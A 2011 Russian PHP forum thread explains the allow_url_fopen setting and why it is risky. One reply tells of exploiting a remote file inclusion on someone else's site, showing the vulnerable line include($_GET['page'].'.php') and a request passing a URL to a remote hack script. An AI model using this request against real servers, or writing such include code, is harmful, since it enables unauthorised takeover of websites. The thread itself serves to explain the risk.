Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: php.ini allow_url_fopen как работает
 
 автор: kvins   (20.08.2011 в 18:08)   письмо автору
 
 

у меня на хостинге стоит allow_url_fopen on и magic_quotes_gpc on
я понимаю почему надо magic_quotes_gpc выключать

но как работает allow_url_fopen ? я читал что
Эта опция позволяет использование врапперов fopen, которые поддерживают работу с URL, в функциях include(), include_once(), require(), require_once().

ну как это происходит на практике, то есть чего нехорошего можно ожидать если не отключить?

  Ответить  
 
 автор: cheops   (20.08.2011 в 18:23)   письмо автору
 
   для: kvins   (20.08.2011 в 18:08)
 

На практике эта директива несет ответственность за использование сетевых адресов в файловых функциях. Отключите и нельзя будет использовать http:// в пути к сайту, включите - можно будет. Если ваш код не обращается к удаленным сайтам и к самому себе через http:// можно отключить.

  Ответить  
 
 автор: kvins   (20.08.2011 в 18:55)   письмо автору
 
   для: cheops   (20.08.2011 в 18:23)
 

и почему его считают плохим ,что все предлагают в темах его отключить?

  Ответить  
 
 автор: cheops   (20.08.2011 в 21:12)   письмо автору
 
   для: kvins   (20.08.2011 в 18:55)
 

Теоретически, если вы формируете путь к файлу динамически, особенно в конструкциях include/require, с использованием информации из GET и POST-параметров, не достаточно фильтруя их, то можно запустить на вашем сервере произвольный PHP-код расположенный на удаленном сервере. Т.е. ситуация потенциально опасна.

  Ответить  
 
 автор: Саня   (20.08.2011 в 21:32)   письмо автору
 
   для: kvins   (20.08.2011 в 18:55)
 

Cheops всё правильно говорит. Пару лет назад по собственной инициативе анализировал один сайт со ссылками вида /?page=abcd
Сначала добавил кавычку в надежде на sql-иньекцию... но получил гораздо более крутое сообщение об ошибке — "Warning: main(acbd'.php): failed to open stream: No such file or directory in ...". Дальше быстренько сварганил на бесплатном хостинге сайт и запросил http://example.com/?page=http://example.org/hackscript
Вобщем, он подключился и я получил полный доступ к сайту. В итоге, гуляя по скриптам, увидел в чём проблема: include($_GET['page'].'.php');
Отписал на почту владельцу сайта о баге и забыл. Через пару месяцев вернулся на этот сайт и наблюдал дефейс :) я даже не удивился.

  Ответить  
 
 автор: kvins   (21.08.2011 в 10:32)   письмо автору
 
   для: Саня   (20.08.2011 в 21:32)
 

Спасибо познавательно было .

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования